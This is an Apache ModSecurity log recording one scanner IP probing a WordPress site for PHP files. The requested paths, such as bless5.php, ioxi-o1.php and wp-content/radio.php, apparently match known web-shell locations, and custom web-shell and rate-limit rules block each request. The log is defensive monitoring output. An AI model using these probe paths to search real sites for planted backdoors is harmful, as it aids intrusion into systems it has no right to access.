[Sat Feb 21 03:22:30.182655 2026] [:error] [pid 38165:tid 38295] [client 104.46.226.22:5880] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aZi0dsveKhyo2vBHvI-wDAAAAFg"]
[Sat Feb 21 03:22:31.008563 2026] [:error] [pid 38165:tid 38289] [client 104.46.226.22:5592] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/security.php"] [unique_id "aZi0d8veKhyo2vBHvI-wEAAAAFI"]
[Sat Feb 21 03:22:31.634110 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:5627] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aZi0dzatjXy17zTTzEFawAAAAJM"]
[Sat Feb 21 03:22:32.095179 2026] [:error] [pid 38164:tid 38241] [client 104.46.226.22:5913] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aZi0eNbO3dRxYRcZLe2MiwAAAAA"]
[Sat Feb 21 03:22:33.246804 2026] [:error] [pid 38165:tid 38271] [client 104.46.226.22:60928] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aZi0ecveKhyo2vBHvI-wEgAAAEA"]
[Sat Feb 21 03:22:33.782056 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:46859] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aZi0eTatjXy17zTTzEFawQAAAIk"]
[Sat Feb 21 03:22:34.351746 2026] [:error] [pid 38165:tid 38282] [client 104.46.226.22:5631] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aZi0esveKhyo2vBHvI-wFAAAAEs"]
[Sat Feb 21 03:22:34.749441 2026] [:error] [pid 38164:tid 38250] [client 104.46.226.22:56645] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aZi0etbO3dRxYRcZLe2MjwAAAAk"]
[Sat Feb 21 03:22:35.762928 2026] [:error] [pid 38340:tid 38342] [client 104.46.226.22:60644] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aZi0exwhxuy_mBXA_-Ip1QAAAMA"]
[Sat Feb 21 03:22:36.876545 2026] [:error] [pid 38166:tid 38306] [client 104.46.226.22:54786] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/js/index.php"] [unique_id "aZi0fDatjXy17zTTzEFayQAAAIg"]
[Sat Feb 21 03:22:37.640376 2026] [:error] [pid 38164:tid 38241] [client 104.46.226.22:5924] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aZi0fdbO3dRxYRcZLe2MkwAAAAA"]
[Sat Feb 21 03:22:38.039383 2026] [:error] [pid 38166:tid 38299] [client 104.46.226.22:60710] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aZi0fjatjXy17zTTzEFazQAAAIE"]
[Sat Feb 21 03:22:38.389836 2026] [:error] [pid 38340:tid 38346] [client 104.46.226.22:60882] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aZi0fhwhxuy_mBXA_-Ip3AAAAMQ"]
[Sat Feb 21 03:22:38.642772 2026] [:error] [pid 38340:tid 38357] [client 104.46.226.22:60671] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/upgrade/about.php"] [unique_id "aZi0fhwhxuy_mBXA_-Ip3QAAAM8"]
[Sat Feb 21 03:22:38.910728 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:60951] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/assets/index.php"] [unique_id "aZi0fjatjXy17zTTzEFa0AAAAIo"]
[Sat Feb 21 03:22:39.459508 2026] [:error] [pid 38165:tid 38291] [client 104.46.226.22:60947] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZi0f8veKhyo2vBHvI-wGgAAAFQ"]
[Sat Feb 21 03:22:39.850422 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:60429] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZi0f8veKhyo2vBHvI-wHAAAAFY"]
[Sat Feb 21 03:22:41.100333 2026] [:error] [pid 38166:tid 38308] [client 104.46.226.22:56624] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZi0gTatjXy17zTTzEFa2AAAAIo"]
[Sat Feb 21 03:22:41.817089 2026] [:error] [pid 38164:tid 38258] [client 104.46.226.22:65409] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aZi0gdbO3dRxYRcZLe2MmAAAABE"]
[Sat Feb 21 03:22:42.216131 2026] [:error] [pid 38340:tid 38347] [client 104.46.226.22:60960] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZi0ghwhxuy_mBXA_-Ip4AAAAMU"]
[Sat Feb 21 03:22:42.554629 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:60942] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZi0gjatjXy17zTTzEFa2gAAAJM"]
[Sat Feb 21 03:22:42.948273 2026] [:error] [pid 38340:tid 38366] [client 104.46.226.22:60360] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZi0ghwhxuy_mBXA_-Ip5QAAANg"]
[Sat Feb 21 03:22:43.272218 2026] [:error] [pid 38164:tid 38264] [client 104.46.226.22:5618] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aZi0g9bO3dRxYRcZLe2MnAAAABc"]
[Sat Feb 21 03:22:43.572755 2026] [:error] [pid 38164:tid 38253] [client 104.46.226.22:60888] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aZi0g9bO3dRxYRcZLe2MngAAAAw"]
[Sat Feb 21 03:22:44.121442 2026] [:error] [pid 38165:tid 38294] [client 104.46.226.22:60967] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aZi0hMveKhyo2vBHvI-wIwAAAFc"]
[Sat Feb 21 03:22:44.521583 2026] [:error] [pid 38164:tid 38265] [client 104.46.226.22:54843] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aZi0hNbO3dRxYRcZLe2MoAAAABg"]
[Sat Feb 21 03:22:44.763085 2026] [:error] [pid 38165:tid 38286] [client 104.46.226.22:60986] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aZi0hMveKhyo2vBHvI-wJQAAAE8"]
[Sat Feb 21 03:22:45.010978 2026] [:error] [pid 38165:tid 38280] [client 104.46.226.22:5877] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aZi0hcveKhyo2vBHvI-wJgAAAEk"]
[Sat Feb 21 03:22:45.277870 2026] [:error] [pid 38164:tid 38260] [client 104.46.226.22:54801] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aZi0hdbO3dRxYRcZLe2MowAAABM"]
[Sat Feb 21 03:22:46.052854 2026] [:error] [pid 38164:tid 38254] [client 104.46.226.22:5825] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aZi0htbO3dRxYRcZLe2MrgAAAA0"]
[Sat Feb 21 03:22:46.536872 2026] [:error] [pid 38340:tid 38361] [client 104.46.226.22:56555] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aZi0hhwhxuy_mBXA_-Ip7AAAANM"]
[Sat Feb 21 03:22:46.941826 2026] [:error] [pid 38340:tid 38358] [client 104.46.226.22:60416] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZi0hhwhxuy_mBXA_-Ip7gAAANA"]
[Sat Feb 21 03:22:47.284906 2026] [:error] [pid 38166:tid 38309] [client 104.46.226.22:60461] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZi0hzatjXy17zTTzEFa4gAAAIs"]
[Sat Feb 21 03:22:47.666510 2026] [:error] [pid 38166:tid 38322] [client 104.46.226.22:60356] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZi0hzatjXy17zTTzEFa4wAAAJg"]
[Sat Feb 21 03:22:47.912413 2026] [:error] [pid 38340:tid 38365] [client 104.46.226.22:5946] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aZi0hxwhxuy_mBXA_-Ip8wAAANc"]
[Sat Feb 21 03:22:48.214685 2026] [:error] [pid 38166:tid 38317] [client 104.46.226.22:60406] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZi0iDatjXy17zTTzEFa5gAAAJM"]
[Sat Feb 21 03:22:48.661176 2026] [:error] [pid 38166:tid 38318] [client 104.46.226.22:5921] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZi0iDatjXy17zTTzEFa6QAAAJQ"]
[Sat Feb 21 03:22:49.035921 2026] [:error] [pid 38166:tid 38313] [client 104.46.226.22:65029] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZi0iTatjXy17zTTzEFa6gAAAI8"]
[Sat Feb 21 03:22:49.278222 2026] [:error] [pid 38166:tid 38312] [client 104.46.226.22:54842] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aZi0iTatjXy17zTTzEFa6wAAAI4"]
[Sat Feb 21 03:22:49.682308 2026] [:error] [pid 38165:tid 38279] [client 104.46.226.22:60470] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aZi0icveKhyo2vBHvI-wMAAAAEg"]
[Sat Feb 21 03:22:50.406827 2026] [:error] [pid 38166:tid 38307] [client 104.46.226.22:60917] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aZi0ijatjXy17zTTzEFa7wAAAIk"]
[Sat Feb 21 03:22:50.660878 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:5608] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aZi0isveKhyo2vBHvI-wMgAAAFY"]
[Sat Feb 21 03:22:50.935815 2026] [:error] [pid 38164:tid 38261] [client 104.46.226.22:65492] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aZi0itbO3dRxYRcZLe2MvQAAABQ"]
[Sat Feb 21 03:22:51.217402 2026] [:error] [pid 38164:tid 38258] [client 104.46.226.22:60725] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aZi0i9bO3dRxYRcZLe2MvwAAABE"]
[Sat Feb 21 03:22:51.552047 2026] [:error] [pid 38164:tid 38246] [client 104.46.226.22:5833] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aZi0i9bO3dRxYRcZLe2MwQAAAAU"]
[Sat Feb 21 03:22:52.162989 2026] [:error] [pid 38164:tid 38243] [client 104.46.226.22:5919] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aZi0jNbO3dRxYRcZLe2MxAAAAAI"]
[Sat Feb 21 03:22:52.689488 2026] [:error] [pid 38164:tid 38254] [client 104.46.226.22:60614] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aZi0jNbO3dRxYRcZLe2MxwAAAA0"]
[Sat Feb 21 03:22:53.040396 2026] [:error] [pid 38165:tid 38280] [client 104.46.226.22:46848] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZi0jcveKhyo2vBHvI-wPQAAAEk"]
[Sat Feb 21 03:22:53.612761 2026] [:error] [pid 38165:tid 38293] [client 104.46.226.22:60732] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZi0jcveKhyo2vBHvI-wPwAAAFY"]
[Sat Feb 21 03:22:53.993904 2026] [:error] [pid 38164:tid 38256] [client 104.46.226.22:60712] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZi0jdbO3dRxYRcZLe2MyQAAAA8"]
[Sat Feb 21 03:22:54.269612 2026] [:error] [pid 38165:tid 38274] [client 104.46.226.22:5923] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aZi0jsveKhyo2vBHvI-wQQAAAEM"]
[Sat Feb 21 03:22:55.089347 2026] [:error] [pid 38164:tid 38244] [client 104.46.226.22:56606] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aZi0j9bO3dRxYRcZLe2MzwAAAAM"]
[Sat Feb 21 03:22:55.846127 2026] [:error] [pid 38164:tid 38248] [client 104.46.226.22:60391] [client 104.46.226.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aZi0j9bO3dRxYRcZLe2M1QAAAAc"]
[Sat Feb 21 03:22:56.854743 2026] [:error] [pid 38166:tid 38305] [client 104.46.226.22:5910] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aZi0kDatjXy17zTTzEFa-gAAAIc"]
[Sat Feb 21 03:22:57.234921 2026] [:error] [pid 38165:tid 38276] [client 104.46.226.22:5600] [client 104.46.226.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aZi0kcveKhyo2vBHvI-wRwAAAEU"]
